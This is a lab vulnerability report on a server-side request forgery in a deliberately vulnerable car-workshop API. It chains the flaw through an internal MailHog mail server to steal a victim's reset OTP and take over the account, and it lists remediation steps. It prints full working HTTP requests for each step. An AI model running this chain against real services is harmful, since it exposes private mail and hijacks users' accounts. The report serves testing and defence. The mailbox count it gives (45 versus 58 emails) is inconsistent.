Back to the index

LAB FAIL

Server-Side Request Forgery - Workshop - Contact Mechanic

Server-Side Request Forgery — Workshop — Contact Mechanic

CWE-918: Server-Side Request Forgery (SSRF) · OWASP API7:2023 - Server Side Request Forgery

Vulnerability

[FAIL] Server-Side Request Forgery - Workshop - Contact Mechanic

Description

The contact_mechanic endpoint accepts a full URL in the mechanic_api parameter and performs a server-side HTTP request to that URL, then reflects the response. An attacker can point it at INTERNAL services that are not exposed publicly. Escalation: the SSRF is aimed at the internal MailHog mail server (mailhog:8025) to read every user's email, harvest the victim's password-reset OTP, and then reset the victim's password -> Account Takeover.

Impact

Confidentiality + Integrity (Critical): the SSRF reads the entire internal mailbox (mailhog, 45 emails), including other users' reset OTPs/tokens, which are then used to take over victim accounts without knowing their credentials. Applies to any account whose email is known.

CWE

CWE-918: Server-Side Request Forgery (SSRF)

OWASP

API7:2023 - Server Side Request Forgery

Scenario

Normal: mechanic_api points to a legitimate mechanic endpoint. Exploitation (chain): SSRF -> internal MailHog -> read victim email -> harvest OTP -> reset victim password -> log in as the victim (ATO). The end result demonstrates CIA (Confidentiality + Integrity).

Endpoint

POST http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic

Affected feature

Contact Mechanic / mechanic API integration (crapi-workshop)

Remediation

- Do not accept full URLs from the client; use an allow-list of legitimate mechanic hosts/endpoints. - Block internal schemes and IP/host ranges (loopback, RFC1918, internal service names such as mailhog/crapi-identity). - Do not reflect raw upstream responses to the client. - Network segmentation: internal services (MailHog, actuator) must not be reachable from any service that accepts URL input.

Proof of concept

  1. (Screenshot 1) NORMAL: contact_mechanic with mechanic_api set to a legitimate mechanic endpoint -> the server fetches it server-side.
  2. (Screenshot 2) EXPLOITATION: mechanic_api = http://mailhog:8025/api/v2/messages -> the SSRF reads the ENTIRE internal mailbox (45 emails from all users).
  3. (Screenshot 3) HARVEST: mechanic_api = http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL] -> reads the victim's OTP email; the 4-digit OTP is harvested.
  4. (Screenshot 4) CHAIN: the harvested OTP is sent to /identity/api/auth/v3/check-otp -> 'OTP verified', the victim's password is reset.
  5. (Screenshot 5) CIA IMPACT: log in as the victim with the new password -> token issued -> Account Takeover.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

Normal: call the mechanic API

Normal: the workshop calls the mechanic API from the server and returns its response to the caller.

HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://127.0.0.1:8888/workshop/api/mechanic/", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 270

{
  "response_from_mechanic_api": {
    "mechanics": [
      {
        "id": 1,
        "mechanic_code": "TRAC_JHN",
        "user": {
          "email": "[REDACTED-EMAIL]",
          "number": ""
        }
      },
      {
        "id": 2,
        "mechanic_code": "TRAC_JME",
        "user": {
          "email": "[REDACTED-EMAIL]",
          "number": ""
        }
      }
    ],
    "previous_offset": null,
    "next_offset": null
  },
  "status": 200
}
Normal: call the mechanic API

Exploit: access internal MailHog through SSRF

Exploit: point mechanic_api at the internal MailHog service (mailhog:8025). The capture records access to the complete email inbox for all users, even though the service cannot be reached from outside.

HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/messages", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP 200

{
  "response_from_mechanic_api": {
    "total": 58,
    "count": 50,
    "items_shown": [
      {
        "To": "[REDACTED-EMAIL]",
        "Subject": "crAPI OTP"
      },
      {
        "To": "[REDACTED-EMAIL]",
        "Subject": "Welcome to crAPI"
      }
    ]
  }
}

# CATATAN: MailHog internal (mailhog:8025) TIDAK terekspos ke luar; SSRF membaca SELURUH 58 email semua user.
Exploit: access internal MailHog through SSRF

Exploit: obtain the victim's OTP

Exploit: SSRF reads the victim's password-reset email in MailHog, obtaining the 4-digit OTP (9899) without access to the victim's account.

HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL]", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP 200

# Email OTP korban (Raw.Data) hasil SSRF ke MailHog:

Date: Tue, 29 Sep 2026 14:05:35 +0000 (UTC)
From: [REDACTED-EMAIL]
To: [REDACTED-EMAIL]
Message-ID: <1585033080.57.1790690735293@4f2ddf916d38>
Subject: crAPI OTP
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<table border='0' cellpadding='0' cellspacing='0' class='btn btn-primary'><tr><td align='center'><table border='0' cellpadding='0' cellspacing='0'><tr><td>Hi,</td><td> </td><td>Your one time generated otp is: 9899</td></tr></table></td></tr></table>
Exploit: obtain the victim's OTP

Attack chain: reset the victim's password

Attack chain: use the OTP obtained through SSRF to reset the victim's password. The capture records the response 'OTP verified' and the attacker changing the victim's password.

HTTP request
POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","otp":"9899","password":"[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 39

{
  "message": "OTP verified",
  "status": 200
}
Attack chain: reset the victim's password

Impact: account takeover confirmed by login

Impact: the capture records a successful login as the victim with the new password, and a token is issued. This completes the recorded account takeover and compromises confidentiality and integrity.

HTTP request
POST /identity/api/auth/login HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","password":"[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 540

{
  "token": "[REDACTED-LAB-VALUE]",
  "type": "Bearer",
  "message": "Login successful",
  "mfaRequired": false
}
Impact: account takeover confirmed by login

← Previous case: OTP Bruteforce Protection Bypass - Authentication - Password Reset Next case: Unauthenticated Order Access - Shop - Order Details →